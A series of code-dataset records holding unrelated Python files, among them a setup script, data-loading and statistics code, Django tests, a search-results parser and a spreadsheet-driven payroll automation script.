setup.py\n\nimport sys\nfrom setuptools import setup, find_packages\n\n## Hack: prevent gc from destroying some stuff before atexit\n## Needed to prevent annoying error message after test run\n# noinspection PyUnresolvedReferences\nfrom multiprocessing import util\n\nversion = __import__('smartrpyc').__version__\nif 'smartrpyc' in sys.modules:\n del sys.modules['smartrpyc']\n\ninstall_requires = [\n 'distribute',\n 'pyzmq',\n 'msgpack-python',\n]\n\ntests_require = ['cool_logging']\n\nextra = {}\nif sys.version_info >= (3,):\n extra['use_2to3'] = True\n #extra['convert_2to3_doctests'] = ['src/your/module/README.txt']\n #extra['use_2to3_fixers'] = ['your.fixers']\n\nif sys.version_info <= (2, 7):\n ## We need unittest2 for Python < 2.7\n tests_require.append('unittest2')\n\nsetup(\n name='SmartRPyC',\n version=version,\n packages=find_packages(),\n url='',\n license='Apache License, Version 2.0, January 2004',\n author='Samuele Santi - Flavio Percoco',\n author_email='samuele@samuelesanti.com - flaper87@flaper87.org',\n description='SmartRPyC is a ZeroMQ-based RPC library for Python',\n long_description='SmartRPyC is a ZeroMQ-based RPC library for Python',\n install_requires=install_requires,\n tests_require=tests_require,\n test_suite='smartrpyc.tests',\n classifiers=[\n \"License :: OSI Approved :: Apache Software License\",\n \"Development Status :: 4 - Beta\",\n \"Topic :: Software Development :: Libraries\",\n \"Topic :: System :: Networking\",\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 3\",\n ],\n package_data={'': ['README.rst', 'LICENSE']},\n **extra\n)\n","sub_path":"pypi_install_script/SmartRPyC-0.1-beta5.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"88766771","text":"'''\nCreated on Mar 17, 2014\n\n@author: tjoneslo\n'''\nimport logging\nimport math\nfrom wikistats import WikiStats\nfrom collections import OrderedDict\nfrom AllyGen import AllyGen\n\nclass ObjectStatistics(object):\n def __init__(self):\n self.population = 0\n self.economy = 0\n self.trade = 0\n self.tradeExt = 0\n self.tradeVol = 0\n self.percapita = 0\n self.number = 0\n self.milBudget = 0\n self.maxTL = 0\n self.maxPort = 'X'\n self.sum_ru = 0\n self.shipyards = 0\n self.col_be = 0\n self.im_be = 0\n self.passengers = 0\n self.spa_people = 0\n\nclass StatCalculation(object):\n '''\n Statistics calculations and output.\n '''\n\n\n def __init__(self, galaxy):\n self.logger = logging.getLogger('PyRoute.StatCalculation')\n\n self.galaxy = galaxy\n self.uwp = OrderedDict()\n self.uwp['Starport'] = {}\n self.uwp['Size'] = {}\n self.uwp['Atmosphere'] = {}\n self.uwp['Hydrographics'] = {}\n self.uwp['Population'] = {}\n self.uwp['Government'] = {}\n self.uwp['Law Level'] = {}\n self.uwp['Tech Level'] = {}\n self.uwp['Pop Code'] = {}\n \n def calculate_statistics(self, match):\n self.logger.info('Calculating statistics for {:d} worlds'.format(len(self.galaxy.stars)))\n for sector in self.galaxy.sectors:\n if sector is None: continue\n for star in sector.worlds:\n star.starportSize = max(self.trade_to_btn(star.tradeIn + star.tradeOver) - 5,0)\n star.starportBudget = \\\n ((star.tradeIn / 10000) * 150 +\\\n (star.tradeOver/10000) * 140 +\\\n (star.passIn) * 500 + \\\n (star.passOver) * 460) / 1000000\n \n star.starportPop = int(star.starportBudget / 0.2)\n \n self.add_stats(sector.stats, star)\n self.add_stats(self.galaxy.stats, star)\n self.add_stats(sector.subsectors[star.subsector()].stats, star)\n self.max_tl(sector.stats, star)\n self.max_tl(sector.subsectors[star.subsector()].stats, star)\n if match == 'collapse':\n algStats = self.galaxy.alg[AllyGen.same_align(star.alg)].stats\n self.add_stats(algStats, star)\n self.max_tl (algStats, star)\n elif match == 'separate':\n algStats = self.galaxy.alg[star.alg].stats\n self.add_stats(algStats, star)\n self.max_tl (algStats, star)\n both = self.galaxy.alg[AllyGen.same_align(star.alg)].stats\n self.add_stats(both, star)\n self.max_tl(both, star)\n \n for uwpCode, uwpValue in star.uwpCodes.iteritems():\n stats = self.uwp[uwpCode].setdefault(uwpValue, ObjectStatistics())\n self.add_stats(stats, star)\n \n self.per_capita(sector.stats) # Per capital sector stats\n for subsector in sector.subsectors.itervalues():\n self.per_capita(subsector.stats)\n self.per_capita(self.galaxy.stats)\n \n for alg in self.galaxy.alg.itervalues():\n self.per_capita(alg.stats)\n\n def add_stats(self, stats, star):\n stats.population += star.population\n stats.economy += star.gwp\n stats.number += 1\n stats.sum_ru += star.ru\n stats.shipyards += star.ship_capacity\n stats.tradeVol += (star.tradeOver + star.tradeIn)\n stats.col_be += star.col_be\n stats.im_be += star.im_be\n stats.passengers += star.passIn\n stats.spa_people += star.starportPop\n \n def max_tl (self, stats, star):\n stats.maxTL = max(stats.maxTL, star.tl)\n stats.maxPort = 'ABCDEX'[min('ABCDEX'.index(star.uwpCodes['Starport']), 'ABCDEX'.index(stats.maxPort))]\n \n def per_capita(self, stats):\n stats.percapita = stats.economy\n if stats.population > 100000:\n stats.percapita = stats.economy / (stats.population/1000)\n elif stats.population > 0:\n stats.percapita = stats.economy * 1000 / stats.population\n else:\n stats.percapita = 0\n \n if stats.shipyards > 1000000:\n stats.shipyards /= 1000000\n else:\n stats.shipyards = 0\n \n \n def write_statistics(self, ally_count):\n self.logger.info('Charted star count: ' + str(self.galaxy.stats.number))\n self.logger.info('Charted population {:,d}'.format(self.galaxy.stats.population))\n \n for sector in self.galaxy.sectors:\n self.logger.debug('Sector ' + sector.name + ' star count: ' + str(sector.stats.number))\n \n for code,aleg in self.galaxy.alg.iteritems():\n s = u'Allegiance {0} ({1}) star count: {2:,d}'.format(aleg.description, code, aleg.stats.number)\n self.logger.debug(s)\n \n wiki = WikiStats(self.galaxy, self.uwp, ally_count)\n wiki.write_statistics()\n \n @staticmethod\n def trade_to_btn(trade):\n if trade == 0:\n return 0\n return int(math.log(trade,10))\n","sub_path":"PyRoute/StatCalculation.py","file_name":"StatCalculation.py","file_ext":"py","file_size_in_byte":5391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"19200285","text":"import os\nimport glob\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as mcolors\nimport skimage.io\nimport skimage.transform\nimport numpy as np\nfrom tqdm import tqdm\nimport pandas as pd\n\n\n_COLORS = list(mcolors.CSS4_COLORS)\n\nCOCO_INSTANCE_CATEGORY_NAMES = [\n '__background__', 'person', 'bicycle', 'car', 'motorcycle', 'airplane', 'bus',\n 'train', 'truck', 'boat', 'traffic light', 'fire hydrant', 'N/A', 'stop sign',\n 'parking meter', 'bench', 'bird', 'cat', 'dog', 'horse', 'sheep', 'cow',\n 'elephant', 'bear', 'zebra', 'giraffe', 'N/A', 'backpack', 'umbrella', 'N/A', 'N/A',\n 'handbag', 'tie', 'suitcase', 'frisbee', 'skis', 'snowboard', 'sports ball',\n 'kite', 'baseball bat', 'baseball glove', 'skateboard', 'surfboard', 'tennis racket',\n 'bottle', 'N/A', 'wine glass', 'cup', 'fork', 'knife', 'spoon', 'bowl',\n 'banana', 'apple', 'sandwich', 'orange', 'broccoli', 'carrot', 'hot dog', 'pizza',\n 'donut', 'cake', 'chair', 'couch', 'potted plant', 'bed', 'N/A', 'dining table',\n 'N/A', 'N/A', 'toilet', 'N/A', 'tv', 'laptop', 'mouse', 'remote', 'keyboard', 'cell phone',\n 'microwave', 'oven', 'toaster', 'sink', 'refrigerator', 'N/A', 'book',\n 'clock', 'vase', 'scissors', 'teddy bear', 'hair drier', 'toothbrush'\n]\n\n\ndef plot_detections(img, boxes, labels, scores, categories, score_thresh=0.5):\n \"\"\"\"\"\"\n\n for i, _ in enumerate(scores):\n if scores[i] > score_thresh and labels[i] in categories:\n x1, y1, x2, y2 = boxes[i]\n\n col = _COLORS[labels[i]]\n plt.plot([x1, x1], [y1, y2], color=col)\n plt.plot([x2, x2], [y1, y2], color=col)\n plt.plot([x1, x2], [y1, y1], color=col)\n plt.plot([x2, x1], [y2, y2], color=col)\n\n plt.imshow(img)\n plt.show()\n\n\nclass CityScapesNumpy:\n \"\"\"Class to store data as numpy array.\"\"\"\n\n FOLDERS = [\"stuttgart_00\", \"stuttgart_01\", \"stuttgart_02\"]\n\n def __init__(self, base_dir=\"D:/Random/Cityscapes/leftImg8bit_demoVideo/leftImg8bit/demoVideo/downsized/\",\n detections_path=\"D:/Random/Cityscapes/leftImg8bit_demoVideo/leftImg8bit/demoVideo/point_rcnn.csv\",\n downscale_factor=1.0):\n \"\"\"\"\"\"\n self.detections = pd.read_csv(detections_path)\n\n self.dir = base_dir\n self.downscale_factor = downscale_factor\n\n self.data = None\n self.frames = None\n\n self._load()\n\n def _load(self):\n \"\"\"\"\"\"\n data = []\n frames = []\n\n print(\"Loading data into array...\")\n for folder in self.FOLDERS:\n images = glob.glob(self.dir + folder + \"\\\\*.png\")\n for image_path in tqdm(images):\n img = skimage.io.imread(image_path)\n img_shape = np.shape(img)\n out_shape = (int(img_shape[0] * self.downscale_factor), int(img_shape[1] * self.downscale_factor), 3)\n\n downscaled = skimage.transform.resize(img, out_shape)\n # downscaled = skimage.util.img_as_ubyte(downscaled)\n\n data.append(downscaled)\n frames.append(os.path.basename(image_path))\n\n self.data = np.array(data, dtype=np.double)\n self.frames = frames\n\n print(\"Size of data: \", self.data.nbytes)\n\n def get(self, frame: str):\n \"\"\"Returns image and bounding box annotations for frame.\"\"\"\n assert frame in self.frames, \"Frame not known...\"\n\n idx = self.frames.index(frame)\n img_np = self.data[idx]\n detections = self.detections.loc[self.detections['Frame name'] == frame]\n boxes, labels, scores = detections['Box'], detections['Label'], detections['Score']\n\n # Hotfix for wrong data classes...\n boxes = boxes.to_numpy()\n boxes_clipped = [bx.replace(\"[\", \"\").replace(\"]\", \"\") for bx in boxes]\n boxes_np = [np.fromstring(bx, dtype=float, sep=' ') for bx in boxes_clipped]\n\n # Maybe downscale bounding boxes\n boxes_np = [bx * 0.3 for bx in boxes_np]\n\n return img_np, boxes_np, labels.to_numpy(), scores.to_numpy()\n\n def get_idx(self, idx):\n \"\"\"Get data from index.\"\"\"\n assert idx <= len(self.frames), \"Idx is larger than number of frames\"\n frame_name = self.frames[idx]\n return self.get(frame_name)\n\n def __len__(self):\n return len(self.frames)\n\n def __get_item__(self, idx):\n return self.get_idx(idx)\n\n\nif __name__ == \"__main__\":\n data_set = CityScapesNumpy()\n\n for i, _ in enumerate(data_set):\n img, bx, lbl, scrs = data_set.get_idx(i)\n plot_detections(img, bx, lbl, scrs, categories=[1, 2, 3, 4, 5, 6, 7, 8, 8, 10])","sub_path":"data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":4632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"491794456","text":"import os\nimport shutil\nimport numpy as np\nimport tensorflow as tf\nimport keras\n\n#quchong\ndef refine(file_path):\n line_list = []\n with open(file_path, 'r') as file:\n line_list = file.readlines()\n unique_list = []\n for line in line_list:\n if not ((line.strip() + '\\n') in unique_list):\n unique_list.append(line.strip() + '\\n')\n with open(file_path, 'w') as file:\n file.writelines(unique_list)\n\ndef refine_dir(dir):\n for root, dirs, files in os.walk(dir):\n for file in files:\n file_path = os.path.join(root,file)\n if os.path.splitext(file_path)[1] == '.txt':\n refine(file_path)\n\n#jiancha lianxuxing\ndef find_discontinuity(dir):\n count = 0\n DST_DIR = '/home/ubuntu/Desktop/luna16/discon'\n for root, dirs, files in os.walk(dir):\n case_prev = ''\n case_current = ''\n z_prev = 0\n z_current = 0\n file_path_prev = ''\n for file in sorted(files):\n if os.path.splitext(file)[1] == '.jpg':\n file_path = os.path.join(root, file)\n divs = file.split('_')\n case_current = divs[0]\n z_current = int(divs[1])\n if case_current == case_prev and (z_current - z_prev) != 1 and file != files[0] and abs(z_current - z_prev) < 3 :\n print(file)\n print('%d&%d'%(z_prev,z_current))\n shutil.copyfile(file_path,os.path.join(DST_DIR, os.path.basename(file_path)))\n shutil.copyfile(file_path_prev, os.path.join(DST_DIR, os.path.basename(file_path_prev)))\n count += 1\n file_path_prev = file_path\n case_prev = case_current\n z_prev = z_current\n print(count)\n return count\n\ndef mkdir_for_sub():\n for i in range (1,12):\n os.mkdir('/home/ubuntu/Desktop/luna16/sub' + str(i) + '_npy')\n os.mkdir('/home/ubuntu/Desktop/luna16/sub' + str(i) + '_out')\n\n\n\n\nif __name__ == '__main__':\n\n # count = 0\n # for i in range(1,12):\n # dir = '/home/ubuntu/Desktop/luna16/sub' + str(i) + '_out'\n # print(dir)\n # count += find_discontinuity(dir)\n # print(count)\n sess = tf.Session()\n\n list = [[1,2],[3,4]]\n\n array = np.array(list)\n print(array)\n\n","sub_path":"temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"510607865","text":"# N = 9\n# road = [10, 4, 2, 7, 5, 8, 6, 6, 15]\n\nN = int(input())\nroad = [int(i) for i in input().split()]\n\nall_ground = sum(road)\nmethods = 0\nh_set = set()\nground_first = 0\nif all_ground % N == 0:\n methods += 1\n h = all_ground // N\n h_set.add((h, h))\nfor i in range(1, N):\n ground_first += road[i-1]\n ground_second = all_ground - ground_first\n # print('земли на участке - ', ground_first, ground_second)\n h1_is_int = ground_first % (i)\n h2_is_int = ground_second % (N - i)\n if h1_is_int == 0 and h2_is_int == 0:\n h1 = ground_first // i\n h2 = ground_second // (N - i)\n if (h1, h2) not in h_set:\n methods += 1\n h_set.add((h1, h2))\n # print('высота учатка -', h1, h2)\n\nprint(methods)\n","sub_path":"2/2.1D1.py","file_name":"2.1D1.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"278863129","text":"import csv\nfrom benchmarking_tool.models import *\nfrom python_scripts import *\nfrom flask_seeder import Seeder\n\n\nabsolute_path = os.path.dirname(os.path.abspath(__file__))\n\n\nclass Appliance_Companies(Seeder):\n def run(self):\n with open(absolute_path+'/appliance_companies.csv','r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n for line in csv_reader:\n appliance_company = ApplianceCompanies(\n company_name = line['Appliance Brand']\n\n )\n db.session.add(appliance_company)\n db.session.commit()\n","sub_path":"seeds/appliance_companies.py","file_name":"appliance_companies.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"335960668","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n'''\nKimLab _ SilroJeong\n가구이동을 고려한 전력사용량 예측\n2013~2015 data using from KESIS\n\nstart\n2016.12.17\n'''\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn import linear_model\nfrom sklearn import preprocessing\nfrom sklearn import svm\n\n# data input\npath = 'C:/Users/ro/Desktop/energy/'\nfname = 'p_data1.csv' ### 2013년\n\ndata = pd.read_csv(path+fname) #초기 변수 45개\n\nX = data\nY = data['전력사용량']\ndel X['전력사용량']\n#del X['경제활동 가구원수'] #ln취하였을때 infinity값 도출\n\n#이산형변수의 data set\n'''\nXn = data_num\nYn = data['전력사용량']\ndel Xn['경제활동 가구원수']\na = data.describe()\n'''\n#############################\n# train / test\n\nX_train = X[:5000]\nX_test = X[5000:]\nY_train=Y[:5000]\nY_test = Y[5000:]\nY_test.index = range(len(Y_test))\n\ncor=X.corr() # 상관성\n\n#############################\n\n# X,Y is fitting to LinearRegression\n# Lasso Regression\n# LinearSVR\n\nmodel_LR = LinearRegression().fit(X_train,Y_train)\nmodel_rasso = linear_model.Lasso(alpha=1).fit(X_train,Y_train) # alpha = 1\nmodel_svr = svm.LinearSVR().fit(X_train,Y_train)\n\n##### LinearRegression\n\nprint (model_LR.coef_) #변수별 계수\nprint (model_LR.intercept_) #Y 절편\nprint(model_LR.score(X_test,Y_test))\n\npred = model_LR.predict(X_test)\nplt.plot(Y_test,c='r',alpha=0.5)\nplt.plot(pred,alpha=0.5)\nplt.show()\n\n\n########## Lasso\nprint(model_rasso.coef_)\nprint(model_rasso.intercept_)\nprint(model_rasso.score(X_train,Y_train))\n\nrasso = model_rasso.coef_\npred2 = model_rasso.predict(X_train)\n\nplt.plot(Y_train,c='r')\nplt.plot(pred2)\nplt.show()\n\n### LinearSVR\nY=preprocessing.maxabs_scale(Y)\n# Y값을 scale 하면 정확도 상승\n\nprint (model_svr.coef_)\nprint (model_svr.intercept_)\nprint(model_svr.score(X_train,Y_train))\npred3 = model_svr.predict(X_train)\n\nplt.plot(Y_train,c='r')\nplt.plot(pred3)\nplt.show()\n\n\n#############################\n# 평가\n#############################\n### RMSE\nfrom sklearn.metrics import mean_squared_error\nnp.sqrt(mean_squared_error(Y_test,pred))\nnp.sqrt(mean_squared_error(Y_test,pred2)) #RMSE\nnp.sqrt(mean_squared_error(Y_test,pred3)) #LinearSVR\n\n##### feature selecttion 변수선택 f-test(f value,p value)\nfrom sklearn.feature_selection import f_regression\nf_t,f_p=f_regression(X_train,Y[:2000])\nf_t\nf_p\nf_t=f_t.dropna(axis=0)\n# _의 의미는 dummy 를뜻함 f_re함수가 2개의 값을 반환하기에 앞에 값만 사용\nf_p /= np.min(f_p )\nf_t /= np.max(f_t) #정규화? 최대값으로 모든항을 나누어줌\n# f_test >0.1 list : 0 6 8 14 17 20 23 24 25 26 >>> 10개 (기존 26개)\n# f_test >0.2 list : 6 8 17 24 25 26\n#####\n\n'''\n##### 차원축소 dimensionality reduction >>> Isomap \nfrom sklearn import manifold\nn_neighbors=5\nn_components=35\n\nisomap=manifold.Isomap(n_neighbors,n_components)\n\nx_isomap=isomap.fit_transform(X_train)\nplt.scatter(x_isomap[:,0],x_isomap[:,1],c='c')\n\n#차원축소 이후 선형회귀\nmodel_2 = LinearRegression().fit(x_isomap,Y_target)\nprint(model_2.score(x_isomap,Y_target))\npred2 = model_2.predict(x_isomap)\nplt.plot(pred2)\n# Isomap은 nonlinear이기에 LinearRegression에는 부적합 \n'''","sub_path":"regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"102520465","text":"from django.contrib.auth import get_user_model\nfrom django.test import Client, TestCase\nfrom django.urls import reverse\n\nfrom posts.models import Follow, Post\n\n\nclass FollowUserViewTest(TestCase):\n FOLLOWER_USER = 'TestName0'\n FOLLOWING_USER = 'TestName1'\n AUTH_USER = 'TestName'\n POST_TEXT = 'Тестовый текст поста'\n\n def setUp(self):\n self.follower_user = get_user_model().objects.create(\n username=self.FOLLOWER_USER)\n self.following_user = get_user_model().objects.create(\n username=self.FOLLOWING_USER)\n self.user = get_user_model().objects.create(\n username=self.AUTH_USER)\n\n self.post = Post.objects.create(text=self.POST_TEXT,\n author=self.following_user)\n\n self.auth_client_follower = Client()\n self.auth_client_follower.force_login(self.follower_user)\n\n self.auth_client_author = Client()\n self.auth_client_author.force_login(self.following_user)\n\n self.auth_client = Client()\n self.auth_client.force_login(self.user)\n\n def test_authorized_user_follow_to_other_user(self):\n \"\"\"Тестирование подписки на пользователей.\"\"\"\n self.auth_client_follower.get(reverse(\n 'profile_follow',\n kwargs={\n 'username': self.following_user\n }))\n self.assertTrue(Follow.objects.filter(user=self.follower_user,\n author=self.following_user),\n )\n\n def test_authorized_user_unfollow(self):\n \"\"\"Тестирование отписывания от пользователей.\"\"\"\n Follow.objects.create(user=self.follower_user,\n author=self.following_user)\n self.auth_client_follower.get(reverse(\n 'profile_unfollow',\n kwargs={\n 'username': self.following_user\n }))\n\n self.assertFalse(Follow.objects.filter(user=self.follower_user,\n author=self.following_user),\n )\n\n def test_post_added_to_follow(self):\n \"\"\"Тестирование появления поста у пользователя\n подписанного на автора поста.\"\"\"\n\n self.auth_client_follower.get(reverse(\n 'profile_follow',\n kwargs={\n 'username': self.following_user\n }))\n\n response_follower = self.auth_client_follower.get(\n reverse('follow_index'))\n self.assertIn(self.post,\n response_follower.context['paginator'].object_list,\n )\n\n def test_post_not_added_not_to_follow(self):\n \"\"\"Тестирование того, что пост не появляется у пользователя\n не подписанного на автора поста.\"\"\"\n\n response_not_follower = self.auth_client.get(\n reverse('follow_index'))\n\n self.assertNotIn(\n self.post,\n response_not_follower.context['paginator'].object_list,\n )\n","sub_path":"yatube/posts/tests/test_follow.py","file_name":"test_follow.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"107155967","text":"# --------------------------------------------------- #\n# -------------------- IMPORTS\n\nimport utils\n\nfrom variables import *\n\n\n# --------------------------------------------------- #\n# -------------------- CLASSE\n\nclass Player:\n\n \"\"\"\n Le corps d'un joueur en ENTIER\n avec son numero\n \"\"\"\n\n # -------------------- initialisation\n def __init__(self, plateau, taille_plateau, psyche, n, nom, touches=TOUCHES):\n \"\"\"\n :param plateau: PlateauDeJeu.plateau (matrice)\n :param directions: dict, cf variables.py DIRECTIONS ou iDIRECTIONS\n :param n: int, numéro du joueur\n :param nom: string, nom du joueur\n\n ----- attributs -----\n n ............ int .............. numero du joueur\n nom .......... str .............. nom du joueur\n start_h ...... int .............. hauteur ou la tete commence\n start_w ...... int .............. largeur ou la tete commence\n body ......... list of BodyPart . liste des morceaux du corps\n head ......... Head ............. la tete du corps\n jepeuallerla . list ............. les coups possibles à jouer\n\n ----- résumé -----\n instanciation d'un joueur\n le joueur est place automatiquement selon les valeurs mise dans le if/elif\n \"\"\"\n self.n = n\n self.nom = nom\n self.psyche = psyche\n self.touches = touches\n self.taille_plateau = taille_plateau\n\n if self.n == NUM_P1:\n self.start_w = 1\n self.start_h = 1\n\n elif self.n == NUM_P2:\n self.start_w = taille_plateau[0] - 2\n self.start_h = taille_plateau[1] - 2\n\n self.body = list()\n self.head = Head(plateau=plateau, new_x=self.start_w, new_y=self.start_h, n=self.n)\n\n self.jepeuallerla = self.coups_possibles(plateau)\n\n # -------------------- suppression\n def delete(self, plateau):\n \"\"\"\n :return: True\n\n ----- résumé -----\n - supprime toutles les s\n - supprime la tete\n \"\"\"\n self.body = list()\n self.head = None\n return None\n\n # -------------------- deplacement\n def move(self, plateau, movement, enemy):\n \"\"\"\n :param plateau: PlateauDeJeu\n :param movement: list, [a, b] avec a,b appartient {-1, 0, 1}\n :param enemy: Player\n\n ----- résumé -----\n - fixe les nouvelles coordonnées de la tête en fonction du mouvement\n - teste si les nouvelles coordonnée override un bonus\n - delete la tete\n - ajoute un cube de corps\n - creer une nouvelle tete\n - mets a jouer les coups possibles de l'adversaire\n \"\"\"\n new_head_x = self.head.x + movement[1]\n new_head_y = self.head.y + movement[0]\n\n if plateau[new_head_y, new_head_x] == -1:\n utils.kantutemangelebonus(plateau, enemy)\n\n self.body.append(BodyPart(plateau=plateau, new_x=self.head.x, new_y=self.head.y, n=self.n))\n self.head = Head(plateau=plateau, new_x=new_head_x, new_y=new_head_y, n=self.n)\n\n enemy.jepeuallerla = enemy.coups_possibles(plateau)\n\n return plateau\n\n # -------------------- coups possibles\n def coups_possibles(self, plateau):\n \"\"\"\n ----- résumé -----\n fonction de coups_possibles comme vu en cours\n \"\"\"\n possibilites = list()\n\n if self.head.y != self.taille_plateau[1] - 1:\n if plateau[self.head.y + 1, self.head.x] in [0, -1]:\n possibilites.append('down') # down\n\n if self.head.y != 0:\n if plateau[self.head.y - 1, self.head.x] in [0, -1]:\n possibilites.append('up') # up\n\n if self.head.x != self.taille_plateau[0] - 1:\n if plateau[self.head.y, self.head.x + 1] in [0, -1]:\n possibilites.append('right') # right\n\n if self.head.x != 0:\n if plateau[self.head.y, self.head.x - 1] in [0, -1]:\n possibilites.append('left') # left\n\n return possibilites\n\n\n# --------------------------------------------------- #\n# -------------------- CLASSE\n\nclass BodyPart:\n\n \"\"\"\n Un bloc du corps du snake\n \"\"\"\n\n # -------------------- initialisation\n def __init__(self, plateau, new_x, new_y, n):\n self.x = new_x\n self.y = new_y\n\n plateau[self.y, self.x] = n\n\n\n# --------------------------------------------------- #\n# -------------------- CLASSE\n\nclass Head:\n\n \"\"\"\n Tete du snake\n \"\"\"\n\n # -------------------- initialisation\n def __init__(self, plateau, new_x, new_y, n):\n self.x = new_x\n self.y = new_y\n\n plateau[self.y, self.x] = n + 1\n\n\n# --------------------------------------------------- #\n","sub_path":"joueur.py","file_name":"joueur.py","file_ext":"py","file_size_in_byte":4759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"193688568","text":"\"\"\"@desc\n\t\tParser for google search results\n\"\"\"\n\nfrom search_engine_parser.core.base import BaseSearch, ReturnType, SearchItem, SearchResult\n\n\nclass Search(BaseSearch):\n \"\"\"\n Searches Google for string\n \"\"\"\n name = \"Google\"\n search_url = \"https://www.google.com/search?\"\n summary = \"\\tNo need for further introductions. The search engine giant holds the first \"\\\n \"place in search with a stunning difference of 65% from second in place Bing.\\n\"\\\n \"\\tAccording to the latest netmarketshare report (November 2018) 73% of searches \"\\\n \"were powered by Google and only 7.91% by Bing.\\n\\tGoogle is also dominating the \"\\\n \"mobile/tablet search engine market share with 81%!\"\n\n def get_params(self, query=None, offset=None, page=None, **kwargs):\n params = {}\n params[\"num\"] = 10\n params[\"start\"] = page\n params[\"q\"] = query\n params[\"client\"] = \"ubuntu\"\n return params\n\n def parse_soup(self, soup):\n \"\"\"\n Parses Google Search Soup for results\n \"\"\"\n # find all class_='g' => each result\n return soup.find_all('div', class_='g')\n\n def parse_direct_answer(self, single_result, return_type=ReturnType.FULL):\n # returns empty string when there is no direct answer\n if return_type in (ReturnType.FULL, ReturnType.DESCRIPTION):\n direct_answer = ''\n if not single_result.find('span', class_='st'):\n # example query: President of US\n if single_result.find('div', class_='Z0LcW'):\n direct_answer = single_result.find('div', class_='Z0LcW').find('a').text\n \n # example query: 5+5\n elif single_result.find('span', class_='qv3Wpe'):\n direct_answer = single_result.find('span', class_='qv3Wpe').text \n \n # example query: Weather in dallas\n elif single_result.find('div', id='wob_wc'):\n weather_status = single_result.find('span', id='wob_dc').text\n temperature = single_result.find('span', id='wob_tm').text\n unit = single_result.find('div', class_='wob-unit').find('span', class_='wob_t').text\n direct_answer = weather_status + ', ' + temperature + unit \n \n # example query: 100 euros in pounds\n elif single_result.find('span', class_='DFlfde SwHCTb'):\n direct_answer = single_result.find('span', class_='DFlfde SwHCTb').text + ' ' +single_result.find('span', class_='MWvIVe').text\n\n # example query: US time\n elif single_result.find('div', class_=\"gsrt vk_bk dDoNo\"):\n direct_answer = single_result.find('div', class_='gsrt vk_bk dDoNo').text\n\n # Christmas\n elif single_result.find('div', class_=\"zCubwf\"):\n direct_answer = single_result.find('div', class_=\"zCubwf\").text\n\n \n elif not single_result.find('span', class_='st').text:\n # example queris: How long shoud a car service take?, fastest animal\n if single_result.find('div', class_='Z0LcW'):\n direct_answer = single_result.find('div', class_='Z0LcW').text\n \n return direct_answer\n\n def parse_single_result(self, single_result, return_type=ReturnType.FULL):\n \"\"\"\n Parses the source code to return\n\n :param single_result: single result found in
\n :type single_result: `bs4.element.ResultSet`\n :return: parsed title, link and description of single result\n :rtype: dict\n \"\"\"\n results = SearchItem()\n r_elem = single_result.find('div', class_='r')\n\n # Get the text and link\n if return_type in (ReturnType.FULL, return_type.TITLE):\n if r_elem:\n h3_tag = r_elem.find('h3')\n title = h3_tag.text\n if not title:\n title = h3_tag.find('div', class_='ellip').text\n results['titles'] = title\n\n if return_type in (ReturnType.FULL, ReturnType.LINK):\n if r_elem:\n link_tag = r_elem.find('a')\n raw_link = link_tag.get('href')\n results['links'] = raw_link\n\n if return_type in (ReturnType.FULL, ReturnType.DESCRIPTION):\n desc = single_result.find('span', class_='st')\n if desc:\n desc = desc.text\n # quick answer description\n if not desc:\n desc = single_result.find('span', class_='e24Kjd').text\n results['descriptions'] = desc\n\n return results\n","sub_path":"search_engine_parser/core/engines/google.py","file_name":"google.py","file_ext":"py","file_size_in_byte":4785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"337226653","text":"import pandas as pd\nimport time\nfrom datetime import datetime\n\n# Read Google Spreadsheet\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\n\n# Export para o Google Spreadsheet\nfrom df2gspread import df2gspread as d2g\n\n# Process' steps\nfrom gerar_selos import gerar_selos\nfrom gerar_sfps import gerar_sfps\nfrom transmitir_gfips import transmitir_gfips\nfrom salvar_relatorios import salvar_relatorios\nfrom gerar_fgts import gerar_fgts\nfrom postar_no_site import postar_no_site\n\n# Auxiliar functions\nfrom funcoes import cria_dicionario\n\n\ndef read_google_spreadsheet():\n scope = ['https://spreadsheets.google.com/feeds',\n 'https://www.googleapis.com/auth/drive']\n\n credentials = ServiceAccountCredentials.from_json_keyfile_name(\n 'gfip-294718-351dce3da4ae.json', scope) # Authentication json file\n\n gc = gspread.authorize(credentials)\n\n wks = gc.open(\"Controle Empresas GFIP\").sheet1\n data = wks.get_all_values()\n headers = data.pop(0)\n\n df = pd.DataFrame(data, columns=headers)\n\n return df # Return the Google Spreadsheet in a Pandas' DataFrame\n\n\ndef start(month, year, app):\n # Load the dataframe\n scope = ['https://spreadsheets.google.com/feeds',\n 'https://www.googleapis.com/auth/drive']\n credentials = ServiceAccountCredentials.from_json_keyfile_name(\n 'gfip-294718-351dce3da4ae.json', scope) # The credential json file here\n spreadsheet_key = \"1SFa0STOpjhB5b8Eqi92E40yDBCH9EFwqG_Mgv5gYdq0\"\n df = 